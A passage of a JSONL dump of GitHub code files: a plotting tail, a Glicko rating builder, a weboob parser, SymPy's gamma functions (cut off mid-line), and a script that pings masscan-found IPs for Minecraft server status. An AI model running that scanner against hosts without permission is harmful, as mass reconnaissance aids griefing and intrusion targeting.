(km)')\nax[1][0].set_ylabel('$T_{i} (K)$')\nax[1][0].legend(loc='upper left',framealpha=0.5)\nax[1][0].grid(True)\n\nax[1][1].plot(x1,Tn1, label='$T_{n}, 2014$')\nax[1][1].plot(x1,Tn2, label='$T_{n}, 2020$')\nax[1][1].set_xlabel('$x$ (km)')\nax[1][1].set_ylabel('$T_{n} (K)$')\nax[1][1].legend(loc=0,framealpha=0.5)\nax[1][1].grid(True)\n\"\"\"\nplt.savefig(pjoin(path,\"iono.png\"), dpi=dpi)\nplt.show()\n","repo_name":"rakeshmoulick/SPIC","sub_path":"python_scripts/iri_iono.py","file_name":"iri_iono.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14468204686","text":"import os\n\nfrom glicko import LeagueBuilder, read_csv, Parameter\n\n\nLEAGUE_DIR = os.path.dirname(os.path.abspath(__file__))\nLEAGUE = 'ncaawbb'\nCSV_PATH = os.path.join(LEAGUE_DIR, f'{LEAGUE}.csv')\nPARAMS_FILE = os.path.join(LEAGUE_DIR, f'{LEAGUE}.json')\n\nleague = read_csv(CSV_PATH)\nbuilder = LeagueBuilder(\n league,\n [\n Parameter(\n name='init_variance',\n value=70671.7849420808,\n bounds=[1.0, 1e5],\n ),\n Parameter(\n name='variance_over_time',\n value=30205.62250227284,\n bounds=[1.0, 1e5]\n )\n ]\n)\nif os.path.exists(PARAMS_FILE):\n builder.load_parameters(PARAMS_FILE)\n\n\nif __name__ == '__main__':\n print(builder.optimize(total_trials=50)[0])\n builder.save_parameters(PARAMS_FILE)\n","repo_name":"NathanDeMaria/py-glicko","sub_path":"app/leagues/ncaawbb/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34720095638","text":"import argparse # import argparse for the cli args\nimport os # import os for new line breaks\nimport threading # import threading for multi threads\n\nfrom mcstatus import JavaServer # import mcstatus to check minecraft server status\n\n# parse cli input\nparser = argparse.ArgumentParser(description='minecraft server tester')\nparser.add_argument(\"-i\", \"--input_file\", type=str, help=\"IPs file\")\nargs = parser.parse_args()\ninput_file = args.input_file\n\n\n# set list for ips\nmasscan = []\n\n\n# open file and create a list of lines\nfileHandler = open(input_file, \"r\")\nlistOfLines = fileHandler.readlines()\nfileHandler.close()\n\n# grep only the ip from the lines\nfor line in listOfLines:\n if line.strip()[0] != \"#\":\n masscan.append(line.strip().split(' ', 4)[3])\n\n\n# split the array for avery thread\ndef split_array(mas, n):\n return [mas[i::n] for i in range(n)]\n\n\n# wait for threat input\nthreads = int(input('threads: '))\n\n# limit the threads to the length of the ips\nif len(masscan) < int(threads):\n threads = len(masscan)\n\n# use the split function\nsplit = list(split_array(masscan, threads))\n\n\n# class for threads\nclass MyThread(threading.Thread):\n def __init__(self, threadid, name):\n threading.Thread.__init__(self)\n self.threadID = threadid\n self.name = name\n\n def run(self):\n print(\"Starting Thread \" + self.name)\n check(self.name)\n print(\"Exiting Thread \" + self.name)\n\n\n# check the server via the mcstatus api\n\ndef check(threadname):\n for z in split[int(threadname)]:\n try:\n # check if server is online\n ip = z\n server = JavaServer(ip, 25565)\n status = server.status()\n except Exception as ex:\n # error behaviour\n print(f\"er: {ex}\")\n else:\n # print and save found server\n print(\"Found server: \" + ip + \" \" + status.version.name + \" \" + str(status.players.online) + \" \" + str(\n status.players.max))\n text_file = open(\"out.txt\", \"a\")\n text_file.write(f\"ip: {str(ip)} ver: {str(status.version.name)} \"\n f\"protokol: {str(status.version.protocol)} max: {status.players.max} \"\n f\"now: {status.players.online} lat: {status.latency} \"\n f\"description {status.description}\")\n text_file.write(os.linesep)\n text_file.close()\n\n\n# start the threads\nfor x in range(threads):\n MyThread(x, str(x)).start()\n","repo_name":"kybe236/minecraft-server-validater","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9430555601","text":"from weboob.browser.pages import HTMLPage\nfrom weboob.browser.elements import ItemElement, ListElement, method\nfrom weboob.capabilities.translate import Translation\nfrom weboob.browser.filters.standard import CleanText, Regexp, Env\n\n\nclass TranslatePage(HTMLPage):\n @method\n class get_translation(ListElement):\n item_xpath = '//table[@class=\"WRD\" and not(@id)]/tr[@id]'\n\n class item(ItemElement):\n klass = Translation\n\n obj_id = Regexp(CleanText('./@id'), '.*:(.*)')\n obj_lang_src = Env('sl')\n obj_lang_dst = Env('tl')\n obj_text = CleanText('./td[@class=\"ToWrd\"]', children=False)\n","repo_name":"laurentb/weboob","sub_path":"modules/wordreference/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"75"} +{"seq_id":"14570720506","text":"from __future__ import print_function, division\n\nfrom sympy.core import Add, S, C, sympify, oo, pi, Dummy, Rational\nfrom sympy.core.function import Function, ArgumentIndexError\nfrom sympy.core.compatibility import xrange\nfrom .zeta_functions import zeta\nfrom .error_functions import erf\nfrom sympy.functions.elementary.exponential import log\nfrom sympy.functions.elementary.integers import floor\nfrom sympy.functions.elementary.miscellaneous import sqrt\nfrom sympy.functions.elementary.trigonometric import csc\nfrom sympy.functions.combinatorial.numbers import bernoulli\nfrom sympy.functions.combinatorial.factorials import rf\nfrom sympy.functions.combinatorial.numbers import harmonic\n\n\n###############################################################################\n############################ COMPLETE GAMMA FUNCTION ##########################\n###############################################################################\n\nclass gamma(Function):\n r\"\"\"\n The gamma function\n\n .. math::\n \\Gamma(x) := \\int^{\\infty}_{0} t^{x-1} e^{t} \\mathrm{d}t.\n\n The ``gamma`` function implements the function which passes through the\n values of the factorial function, i.e. `\\Gamma(n) = (n - 1)!` when n is\n an integer. More general, `\\Gamma(z)` is defined in the whole complex\n plane except at the negative integers where there are simple poles.\n\n Examples\n ========\n\n >>> from sympy import S, I, pi, oo, gamma\n >>> from sympy.abc import x\n\n Several special values are known:\n\n >>> gamma(1)\n 1\n >>> gamma(4)\n 6\n >>> gamma(S(3)/2)\n sqrt(pi)/2\n\n The Gamma function obeys the mirror symmetry:\n\n >>> from sympy import conjugate\n >>> conjugate(gamma(x))\n gamma(conjugate(x))\n\n Differentiation with respect to x is supported:\n\n >>> from sympy import diff\n >>> diff(gamma(x), x)\n gamma(x)*polygamma(0, x)\n\n Series expansion is also supported:\n\n >>> from sympy import series\n >>> series(gamma(x), x, 0, 3)\n 1/x - EulerGamma + x*(EulerGamma**2/2 + pi**2/12) + x**2*(-EulerGamma*pi**2/12 + polygamma(2, 1)/6 - EulerGamma**3/6) + O(x**3)\n\n We can numerically evaluate the gamma function to arbitrary precision\n on the whole complex plane:\n\n >>> gamma(pi).evalf(40)\n 2.288037795340032417959588909060233922890\n >>> gamma(1+I).evalf(20)\n 0.49801566811835604271 - 0.15494982830181068512*I\n\n See Also\n ========\n\n lowergamma: Lower incomplete gamma function.\n uppergamma: Upper incomplete gamma function.\n polygamma: Polygamma function.\n loggamma: Log Gamma function.\n digamma: Digamma function.\n trigamma: Trigamma function.\n sympy.functions.special.beta_functions.beta: Euler Beta function.\n\n References\n ==========\n\n .. [1] http://en.wikipedia.org/wiki/Gamma_function\n .. [2] http://dlmf.nist.gov/5\n .. [3] http://mathworld.wolfram.com/GammaFunction.html\n .. [4] http://functions.wolfram.com/GammaBetaErf/Gamma/\n \"\"\"\n\n unbranched = True\n\n def fdiff(self, argindex=1):\n if argindex == 1:\n return gamma(self.args[0])*polygamma(0, self.args[0])\n else:\n raise ArgumentIndexError(self, argindex)\n\n @classmethod\n def eval(cls, arg):\n if arg.is_Number:\n if arg is S.NaN:\n return S.NaN\n elif arg is S.Infinity:\n return S.Infinity\n elif arg.is_Integer:\n if arg.is_positive:\n return C.factorial(arg - 1)\n else:\n return S.ComplexInfinity\n elif arg.is_Rational:\n if arg.q == 2:\n n = abs(arg.p) // arg.q\n\n if arg.is_positive:\n k, coeff = n, S.One\n else:\n n = k = n + 1\n\n if n & 1 == 0:\n coeff = S.One\n else:\n coeff = S.NegativeOne\n\n for i in range(3, 2*k, 2):\n coeff *= i\n\n if arg.is_positive:\n return coeff*sqrt(S.Pi) / 2**n\n else:\n return 2**n*sqrt(S.Pi) / coeff\n\n def _eval_expand_func(self, **hints):\n arg = self.args[0]\n if arg.is_Rational:\n if abs(arg.p) > arg.q:\n x = Dummy('x')\n n = arg.p // arg.q\n p = arg.p - n*arg.q\n return gamma(x + n)._eval_expand_func().subs(x, Rational(p, arg.q))\n\n if arg.is_Add:\n coeff, tail = arg.as_coeff_add()\n if coeff and coeff.q != 1:\n intpart = floor(coeff)\n tail = (coeff - intpart,) + tail\n coeff = intpart\n tail = arg._new_rawargs(*tail, reeval=False)\n return gamma(tail)*C.RisingFactorial(tail, coeff)\n\n return self.func(*self.args)\n\n def _eval_conjugate(self):\n return self.func(self.args[0].conjugate())\n\n def _eval_is_real(self):\n return self.args[0].is_real\n\n def _eval_rewrite_as_tractable(self, z):\n return C.exp(loggamma(z))\n\n def _eval_nseries(self, x, n, logx):\n x0 = self.args[0].limit(x, 0)\n if not (x0.is_Integer and x0 <= 0):\n return super(gamma, self)._eval_nseries(x, n, logx)\n t = self.args[0] - x0\n return (gamma(t + 1)/rf(self.args[0], -x0 + 1))._eval_nseries(x, n, logx)\n\n def _latex(self, printer, exp=None):\n if len(self.args) != 1:\n raise ValueError(\"Args length should be 1\")\n aa = printer._print(self.args[0])\n if exp:\n return r'\\Gamma^{%s}{\\left(%s \\right)}' % (printer._print(exp), aa)\n else:\n return r'\\Gamma{\\left(%s \\right)}' % aa\n\n @staticmethod\n def _latex_no_arg(printer):\n return r'\\Gamma'\n\n\n###############################################################################\n################## LOWER and UPPER INCOMPLETE GAMMA FUNCTIONS #################\n###############################################################################\n\nclass lowergamma(Function):\n r\"\"\"\n The lower incomplete gamma function.\n\n It can be defined as the meromorphic continuation of\n\n .. math::\n \\gamma(s, x) := \\int_0^x t^{s-1} e^{-t} \\mathrm{d}t = \\Gamma(s) - \\Gamma(s, x).\n\n This can be shown to be the same as\n\n .. math::\n \\gamma(s, x) = \\frac{x^s}{s} {}_1F_1\\left({s \\atop s+1} \\middle| -x\\right),\n\n where :math:`{}_1F_1` is the (confluent) hypergeometric function.\n\n Examples\n ========\n\n >>> from sympy import lowergamma, S\n >>> from sympy.abc import s, x\n >>> lowergamma(s, x)\n lowergamma(s, x)\n >>> lowergamma(3, x)\n -x**2*exp(-x) - 2*x*exp(-x) + 2 - 2*exp(-x)\n >>> lowergamma(-S(1)/2, x)\n -2*sqrt(pi)*erf(sqrt(x)) - 2*exp(-x)/sqrt(x)\n\n See Also\n ========\n\n gamma: Gamma function.\n uppergamma: Upper incomplete gamma function.\n polygamma: Polygamma function.\n loggamma: Log Gamma function.\n digamma: Digamma function.\n trigamma: Trigamma function.\n sympy.functions.special.beta_functions.beta: Euler Beta function.\n\n References\n ==========\n\n .. [1] http://en.wikipedia.org/wiki/Incomplete_gamma_function#Lower_Incomplete_Gamma_Function\n .. [2] Abramowitz, Milton; Stegun, Irene A., eds. (1965), Chapter 6, Section 5,\n Handbook of Mathematical Functions with Formulas, Graphs, and Mathematical Tables\n .. [3] http://dlmf.nist.gov/8\n .. [4] http://functions.wolfram.com/GammaBetaErf/Gamma2/\n .. [5] http://functions.wolfram.com/GammaBetaErf/Gamma3/\n \"\"\"\n\n\n def fdiff(self, argindex=2):\n from sympy import meijerg, unpolarify\n if argindex == 2:\n a, z = self.args\n return C.exp(-unpolarify(z))*z**(a - 1)\n elif argindex == 1:\n a, z = self.args\n return gamma(a)*digamma(a) - log(z)*uppergamma(a, z) \\\n - meijerg([], [1, 1], [0, 0, a], [], z)\n\n else:\n raise ArgumentIndexError(self, argindex)\n\n @classmethod\n def eval(cls, a, x):\n # For lack of a better place, we use this one to extract branching\n # information. The following can be\n # found in the literature (c/f references given above), albeit scattered:\n # 1) For fixed x != 0, lowergamma(s, x) is an entire function of s\n # 2) For fixed positive integers s, lowergamma(s, x) is an entire\n # function of x.\n # 3) For fixed non-positive integers s,\n # lowergamma(s, exp(I*2*pi*n)*x) =\n # 2*pi*I*n*(-1)**(-s)/factorial(-s) + lowergamma(s, x)\n # (this follows from lowergamma(s, x).diff(x) = x**(s-1)*exp(-x)).\n # 4) For fixed non-integral s,\n # lowergamma(s, x) = x**s*gamma(s)*lowergamma_unbranched(s, x),\n # where lowergamma_unbranched(s, x) is an entire function (in fact\n # of both s and x), i.e.\n # lowergamma(s, exp(2*I*pi*n)*x) = exp(2*pi*I*n*a)*lowergamma(a, x)\n from sympy import unpolarify, I, factorial, exp\n nx, n = x.extract_branch_factor()\n if a.is_integer and a.is_positive:\n nx = unpolarify(x)\n if nx != x:\n return lowergamma(a, nx)\n elif a.is_integer and a.is_nonpositive:\n if n != 0:\n return 2*pi*I*n*(-1)**(-a)/factorial(-a) + lowergamma(a, nx)\n elif n != 0:\n return exp(2*pi*I*n*a)*lowergamma(a, nx)\n\n # Special values.\n if a.is_Number:\n # TODO this should be non-recursive\n if a is S.One:\n return S.One - C.exp(-x)\n elif a is S.Half:\n return sqrt(pi)*erf(sqrt(x))\n elif a.is_Integer or (2*a).is_Integer:\n b = a - 1\n if b.is_positive:\n return b*cls(b, x) - x**b * C.exp(-x)\n\n if not a.is_Integer:\n return (cls(a + 1, x) + x**a * C.exp(-x))/a\n\n def _eval_evalf(self, prec):\n from sympy.mpmath import mp\n from sympy import Expr\n a = self.args[0]._to_mpmath(prec)\n z = self.args[1]._to_mpmath(prec)\n oprec = mp.prec\n mp.prec = prec\n res = mp.gammainc(a, 0, z)\n mp.prec = oprec\n return Expr._from_mpmath(res, prec)\n\n def _eval_conjugate(self):\n z = self.args[1]\n if not z in (S.Zero, S.NegativeInfinity):\n return self.func(self.args[0].conjugate(), z.conjugate())\n\n def _eval_rewrite_as_uppergamma(self, s, x):\n return gamma(s) - uppergamma(s, x)\n\n def _eval_rewrite_as_expint(self, s, x):\n from sympy import expint\n if s.is_integer and s.is_nonpositive:\n return self\n return self.rewrite(uppergamma).rewrite(expint)\n\n @staticmethod\n def _latex_no_arg(printer):\n return r'\\gamma'\n\nclass uppergamma(Function):\n r\"\"\"\n The upper incomplete gamma function.\n\n It can be defined as the meromorphic continuation of\n\n .. math::\n \\Gamma(s, x) := \\int_x^\\infty t^{s-1} e^{-t} \\mathrm{d}t = \\Gamma(s) - \\gamma(s, x).\n\n where `\\gamma(s, x)` is the lower incomplete gamma function,\n :class:`lowergamma`. This can be shown to be the same as\n\n .. math::\n \\Gamma(s, x) = \\Gamma(s) - \\frac{x^s}{s} {}_1F_1\\left({s \\atop s+1} \\middle| -x\\right),\n\n where :math:`{}_1F_1` is the (confluent) hypergeometric function.\n\n The upper incomplete gamma function is also essentially equivalent to the\n generalized exponential integral:\n\n .. math::\n \\operatorname{E}_{n}(x) = \\int_{1}^{\\infty}{\\frac{e^{-xt}}{t^n} \\, dt} = x^{n-1}\\Gamma(1-n,x).\n\n Examples\n ========\n\n >>> from sympy import uppergamma, S\n >>> from sympy.abc import s, x\n >>> uppergamma(s, x)\n uppergamma(s, x)\n >>> uppergamma(3, x)\n x**2*exp(-x) + 2*x*exp(-x) + 2*exp(-x)\n >>> uppergamma(-S(1)/2, x)\n -2*sqrt(pi)*(-erf(sqrt(x)) + 1) + 2*exp(-x)/sqrt(x)\n >>> uppergamma(-2, x)\n expint(3, x)/x**2\n\n See Also\n ========\n\n gamma: Gamma function.\n lowergamma: Lower incomplete gamma function.\n polygamma: Polygamma function.\n loggamma: Log Gamma function.\n digamma: Digamma function.\n trigamma: Trigamma function.\n sympy.functions.special.beta_functions.beta: Euler Beta function.\n\n References\n ==========\n\n .. [1] http://en.wikipedia.org/wiki/Incomplete_gamma_function#Upper_Incomplete_Gamma_Function\n .. [2] Abramowitz, Milton; Stegun, Irene A., eds. (1965), Chapter 6, Section 5,\n Handbook of Mathematical Functions with Formulas, Graphs, and Mathematical Tables\n .. [3] http://dlmf.nist.gov/8\n .. [4] http://functions.wolfram.com/GammaBetaErf/Gamma2/\n .. [5] http://functions.wolfram.com/GammaBetaErf/Gamma3/\n .. [6] http://en.wikipedia.org/wiki/Exponential_integral#Relation_with_other_functions\n \"\"\"\n\n\n def fdiff(self, argindex=2):\n from sympy import meijerg, unpolarify\n if argindex == 2:\n a, z = self.args\n return -C.exp(-unpolarify(z))*z**(a - 1)\n elif argindex == 1:\n a, z = self.args\n return uppergamma(a, z)*log(z) + meijerg([], [1, 1], [0, 0, a], [], z)\n else:\n raise ArgumentIndexError(self, argindex)\n\n def _eval_evalf(self, prec):\n from sympy.mpmath import mp\n from sympy import Expr\n a = self.args[0]._to_mpmath(prec)\n z = self.args[1]._to_mpmath(prec)\n oprec = mp.prec\n mp.prec = prec\n res = mp.gammainc(a, z, mp.inf)\n mp.prec = oprec\n return Expr._from_mpmath(res, prec)\n\n @classmethod\n def eval(cls, a, z):\n from sympy import unpolarify, I, factorial, exp, expint\n if z.is_Number:\n if z is S.NaN:\n return S.NaN\n elif z is S.Infinity:\n return S.Zero\n elif z is S.Zero:\n # TODO: Holds only for Re(a) > 0:\n return gamma(a)\n\n # We extract branching information here. C/f lowergamma.\n nx, n = z.extract_branch_factor()\n if a.is_integer and (a > 0) == True:\n nx = unpolarify(z)\n if z != nx:\n return uppergamma(a, nx)\n elif a.is_integer and (a <= 0) == True:\n if n != 0:\n return -2*pi*I*n*(-1)**(-a)/factorial(-a) + uppergamma(a, nx)\n elif n != 0:\n return gamma(a)*(1 - exp(2*pi*I*n*a)) + exp(2*pi*I*n*a)*uppergamma(a, nx)\n\n # Special values.\n if a.is_Number:\n # TODO this should be non-recursive\n if a is S.One:\n return C.exp(-z)\n elif a is S.Half:\n return sqrt(pi)*(1 - erf(sqrt(z))) # TODO could use erfc...\n elif a.is_Integer or (2*a).is_Integer:\n b = a - 1\n if b.is_positive:\n return b*cls(b, z) + z**b * C.exp(-z)\n elif b.is_Integer:\n return expint(-b, z)*unpolarify(z)**(b + 1)\n\n if not a.is_Integer:\n return (cls(a + 1, z) - z**a * C.exp(-z))/a\n\n def _eval_conjugate(self):\n z = self.args[1]\n if not z in (S.Zero, S.NegativeInfinity):\n return self.func(self.args[0].conjugate(), z.conjugate())\n\n def _eval_rewrite_as_lowergamma(self, s, x):\n return gamma(s) - lowergamma(s, x)\n\n def _eval_rewrite_as_expint(self, s, x):\n from sympy import expint\n return expint(1 - s, x)*x**s\n\n\n###############################################################################\n###################### POLYGAMMA and LOGGAMMA FUNCTIONS #######################\n###############################################################################\n\nclass polygamma(Function):\n r\"\"\"\n The function ``polygamma(n, z)`` returns ``log(gamma(z)).diff(n + 1)``.\n\n It is a meromorphic function on `\\mathbb{C}` and defined as the (n+1)-th\n derivative of the logarithm of the gamma function:\n\n .. math::\n \\psi^{(n)} (z) := \\frac{\\mathrm{d}^{n+1}}{\\mathrm{d} z^{n+1}} \\log\\Gamma(z).\n\n Examples\n ========\n\n Several special values are known:\n\n >>> from sympy import S, polygamma\n >>> polygamma(0, 1)\n -EulerGamma\n >>> polygamma(0, 1/S(2))\n -2*log(2) - EulerGamma\n >>> polygamma(0, 1/S(3))\n -3*log(3)/2 - sqrt(3)*pi/6 - EulerGamma\n >>> polygamma(0, 1/S(4))\n -3*log(2) - pi/2 - EulerGamma\n >>> polygamma(0, 2)\n -EulerGamma + 1\n >>> polygamma(0, 23)\n -EulerGamma + 19093197/5173168\n\n >>> from sympy import oo, I\n >>> polygamma(0, oo)\n oo\n >>> polygamma(0, -oo)\n oo\n >>> polygamma(0, I*oo)\n oo\n >>> polygamma(0, -I*oo)\n oo\n\n Differentiation with respect to x is supported:\n\n >>> from sympy import Symbol, diff\n >>> x = Symbol(\"x\")\n >>> diff(polygamma(0, x), x)\n polygamma(1, x)\n >>> diff(polygamma(0, x), x, 2)\n polygamma(2, x)\n >>> diff(polygamma(0, x), x, 3)\n polygamma(3, x)\n >>> diff(polygamma(1, x), x)\n polygamma(2, x)\n >>> diff(polygamma(1, x), x, 2)\n polygamma(3, x)\n >>> diff(polygamma(2, x), x)\n polygamma(3, x)\n >>> diff(polygamma(2, x), x, 2)\n polygamma(4, x)\n\n >>> n = Symbol(\"n\")\n >>> diff(polygamma(n, x), x)\n polygamma(n + 1, x)\n >>> diff(polygamma(n, x), x, 2)\n polygamma(n + 2, x)\n\n We can rewrite polygamma functions in terms of harmonic numbers:\n\n >>> from sympy import harmonic\n >>> polygamma(0, x).rewrite(harmonic)\n harmonic(x - 1) - EulerGamma\n >>> polygamma(2, x).rewrite(harmonic)\n 2*harmonic(x - 1, 3) - 2*zeta(3)\n >>> ni = Symbol(\"n\", integer=True)\n >>> polygamma(ni, x).rewrite(harmonic)\n (-1)**(n + 1)*(-harmonic(x - 1, n + 1) + zeta(n + 1))*factorial(n)\n\n See Also\n ========\n\n gamma: Gamma function.\n lowergamma: Lower incomplete gamma function.\n uppergamma: Upper incomplete gamma function.\n loggamma: Log Gamma function.\n digamma: Digamma function.\n trigamma: Trigamma function.\n sympy.functions.special.beta_functions.beta: Euler Beta function.\n\n References\n ==========\n\n .. [1] http://en.wikipedia.org/wiki/Polygamma_function\n .. [2] http://mathworld.wolfram.com/PolygammaFunction.html\n .. [3] http://functions.wolfram.com/GammaBetaErf/PolyGamma/\n .. [4] http://functions.wolfram.com/GammaBetaErf/PolyGamma2/\n \"\"\"\n\n\n def fdiff(self, argindex=2):\n if argindex == 2:\n n, z = self.args[:2]\n return polygamma(n + 1, z)\n else:\n raise ArgumentIndexError(self, argindex)\n\n def _eval_is_positive(self):\n if self.args[1].is_positive and (self.args[0] > 0) == True:\n return self.args[0].is_odd\n\n def _eval_is_negative(self):\n if self.args[1].is_positive and (self.args[0] > 0) == True:\n return self.args[0].is_even\n\n def _eval_is_real(self):\n return self.args[0].is_real\n\n def _eval_aseries(self, n, args0, x, logx):\n if args0[1] != oo or not \\\n (self.args[0].is_Integer and self.args[0].is_nonnegative):\n return super(polygamma, self)._eval_aseries(n, args0, x, logx)\n z = self.args[1]\n N = self.args[0]\n\n if N == 0:\n # digamma function series\n # Abramowitz & Stegun, p. 259, 6.3.18\n r = log(z) - 1/(2*z)\n o = None\n if n < 2:\n o = C.Order(1/z, x)\n else:\n m = C.ceiling((n + 1)//2)\n l = [bernoulli(2*k) / (2*k*z**(2*k)) for k in range(1, m)]\n r -= Add(*l)\n o = C.Order(1/z**(2*m), x)\n return r._eval_nseries(x, n, logx) + o\n else:\n # proper polygamma function\n # Abramowitz & Stegun, p. 260, 6.4.10\n # We return terms to order higher than O(x**n) on purpose\n # -- otherwise we would not be able to return any terms for\n # quite a long time!\n fac = gamma(N)\n e0 = fac + N*fac/(2*z)\n m = C.ceiling((n + 1)//2)\n for k in range(1, m):\n fac = fac*(2*k + N - 1)*(2*k + N - 2) / ((2*k)*(2*k - 1))\n e0 += bernoulli(2*k)*fac/z**(2*k)\n o = C.Order(1/z**(2*m), x)\n if n == 0:\n o = C.Order(1/z, x)\n elif n == 1:\n o = C.Order(1/z**2, x)\n r = e0._eval_nseries(z, n, logx) + o\n return (-1 * (-1/z)**N * r)._eval_nseries(x, n, logx)\n\n @classmethod\n def eval(cls, n, z):\n n, z = list(map(sympify, (n, z)))\n from sympy import unpolarify\n\n if n.is_integer:\n if n.is_nonnegative:\n nz = unpolarify(z)\n if z != nz:\n return polygamma(n, nz)\n\n if n == -1:\n return loggamma(z)\n else:\n if z.is_Number:\n if z is S.NaN:\n return S.NaN\n elif z is S.Infinity:\n if n.is_Number:\n if n is S.Zero:\n return S.Infinity\n else:\n return S.Zero\n elif z.is_Integer:\n if z.is_nonpositive:\n return S.ComplexInfinity\n else:\n if n is S.Zero:\n return -S.EulerGamma + C.harmonic(z - 1, 1)\n elif n.is_odd:\n return (-1)**(n + 1)*C.factorial(n)*zeta(n + 1, z)\n\n if n == 0:\n if z is S.NaN:\n return S.NaN\n elif z.is_Rational:\n # TODO actually *any* n/m can be done, but that is messy\n lookup = {S(1)/2: -2*log(2) - S.EulerGamma,\n S(1)/3: -S.Pi/2/sqrt(3) - 3*log(3)/2 - S.EulerGamma,\n S(1)/4: -S.Pi/2 - 3*log(2) - S.EulerGamma,\n S(3)/4: -3*log(2) - S.EulerGamma + S.Pi/2,\n S(2)/3: -3*log(3)/2 + S.Pi/2/sqrt(3) - S.EulerGamma}\n if z > 0:\n n = floor(z)\n z0 = z - n\n if z0 in lookup:\n return lookup[z0] + Add(*[1/(z0 + k) for k in range(n)])\n elif z < 0:\n n = floor(1 - z)\n z0 = z + n\n if z0 in lookup:\n return lookup[z0] - Add(*[1/(z0 - 1 - k) for k in range(n)])\n elif z in (S.Infinity, S.NegativeInfinity):\n return S.Infinity\n else:\n t = z.extract_multiplicatively(S.ImaginaryUnit)\n if t in (S.Infinity, S.NegativeInfinity):\n return S.Infinity\n\n # TODO n == 1 also can do some rational z\n\n def _eval_expand_func(self, **hints):\n n, z = self.args\n\n if n.is_Integer and n.is_nonnegative:\n if z.is_Add:\n coeff = z.args[0]\n if coeff.is_Integer:\n e = -(n + 1)\n if coeff > 0:\n tail = Add(*[C.Pow(\n z - i, e) for i in xrange(1, int(coeff) + 1)])\n else:\n tail = -Add(*[C.Pow(\n z + i, e) for i in xrange(0, int(-coeff))])\n return polygamma(n, z - coeff) + (-1)**n*C.factorial(n)*tail\n\n elif z.is_Mul:\n coeff, z = z.as_two_terms()\n if coeff.is_Integer and coeff.is_positive:\n tail = [ polygamma(n, z + C.Rational(\n i, coeff)) for i in xrange(0, int(coeff)) ]\n if n == 0:\n return Add(*tail)/coeff + log(coeff)\n else:\n return Add(*tail)/coeff**(n + 1)\n z *= coeff\n\n return polygamma(n, z)\n\n def _eval_rewrite_as_zeta(self, n, z):\n if n >= S.One:\n return (-1)**(n + 1)*C.factorial(n)*zeta(n + 1, z)\n else:\n return self\n\n def _eval_rewrite_as_harmonic(self, n, z):\n if n.is_integer:\n if n == S.Zero:\n return harmonic(z - 1) - S.EulerGamma\n else:\n return S.NegativeOne**(n+1) * C.factorial(n) * (C.zeta(n+1) - harmonic(z-1, n+1))\n\n def _eval_as_leading_term(self, x):\n n, z = [a.as_leading_term(x) for a in self.args]\n o = C.Order(z, x)\n if n == 0 and o.contains(1/x):\n return o.getn() * log(x)\n else:\n return self.func(n, z)\n\n\nclass loggamma(Function):\n r\"\"\"\n The ``loggamma`` function implements the logarithm of the\n gamma function i.e, `\\log\\Gamma(x)`.\n\n Examples\n ========\n\n Several special values are known. For numerical integral\n arguments we have:\n\n >>> from sympy import loggamma\n >>> loggamma(-2)\n oo\n >>> loggamma(0)\n oo\n >>> loggamma(1)\n 0\n >>> loggamma(2)\n 0\n >>> loggamma(3)\n log(2)\n\n and for symbolic values:\n\n >>> from sympy import Symbol\n >>> n = Symbol(\"n\", integer=True, positive=True)\n >>> loggamma(n)\n log(gamma(n))\n >>> loggamma(-n)\n oo\n\n for half-integral values:\n\n >>> from sympy import S, pi\n >>> loggamma(S(5)/2)\n log(3*sqrt(pi)/4)\n >>> loggamma(n/2)\n log(2**(-n + 1)*sqrt(pi)*gamma(n)/gamma(n/2 + 1/2))\n\n and general rational arguments:\n\n >>> from sympy import expand_func\n >>> L = loggamma(S(16)/3)\n >>> expand_func(L).doit()\n -5*log(3) + loggamma(1/3) + log(4) + log(7) + log(10) + log(13)\n >>> L = loggamma(S(19)/4)\n >>> expand_func(L).doit()\n -4*log(4) + loggamma(3/4) + log(3) + log(7) + log(11) + log(15)\n >>> L = loggamma(S(23)/7)\n >>> expand_func(L).doit()\n -3*log(7) + log(2) + loggamma(2/7) + log(9) + log(16)\n\n The loggamma function has the following limits towards infinity:\n\n >>> from sympy import oo\n >>> loggamma(oo)\n oo\n >>> loggamma(-oo)\n zoo\n\n The loggamma function obeys the mirror symmetry\n if `x \\in \\mathbb{C} \\setminus \\{-\\infty, 0\\}`:\n\n >>> from sympy.abc import x\n >>> from sympy import conjugate\n >>> conjugate(loggamma(x))\n loggamma(conjugate(x))\n\n Differentiation with respect to x is supported:\n\n >>> from sympy import diff\n >>> diff(loggamma(x), x)\n polygamma(0, x)\n\n Series expansion is also supported:\n\n >>> from sympy import series\n >>> series(loggamma(x), x, 0, 4)\n -log(x) - EulerGamma*x + pi**2*x**2/12 + x**3*polygamma(2, 1)/6 + O(x**4)\n\n We can numerically evaluate the gamma function to arbitrary precision\n on the whole complex plane:\n\n >>> from sympy import I\n >>> loggamma(5).evalf(30)\n 3.17805383034794561964694160130\n >>> loggamma(I).evalf(20)\n -0.65092319930185633889 - 1.8724366472624298171*I\n\n See Also\n ========\n\n gamma: Gamma function.\n lowergamma: Lower incomplete gamma function.\n uppergamma: Upper incomplete gamma function.\n polygamma: Polygamma function.\n digamma: Digamma function.\n trigamma: Trigamma function.\n sympy.functions.special.beta_functions.beta: Euler Beta function.\n\n References\n ==========\n\n .. [1] http://en.wikipedia.org/wiki/Gamma_function\n .. [2] http://dlmf.nist.gov/5\n .. [3] http://mathworld.wolfram.com/LogGammaFunction.html\n .. [4] http://functions.wolfram.com/GammaBetaErf/LogGamma/\n \"\"\"\n @classmethod\n def eval(cls, z):\n z = sympify(z)\n\n if z.is_integer:\n if z.is_nonpositive:\n return S.Infinity\n elif z.is_positive:\n return log(gamma(z))\n elif z.is_rational:\n p, q = z.as_numer_denom()\n # Half-integral values:\n if p.is_positive and q == 2:\n return log(sqrt(S.Pi) * 2**(1 - p) * gamma(p) / gamma((p + 1)*S.Half))\n\n if z is S.Infinity:\n return S.Infinity\n elif abs(z) is S.Infinity:\n return 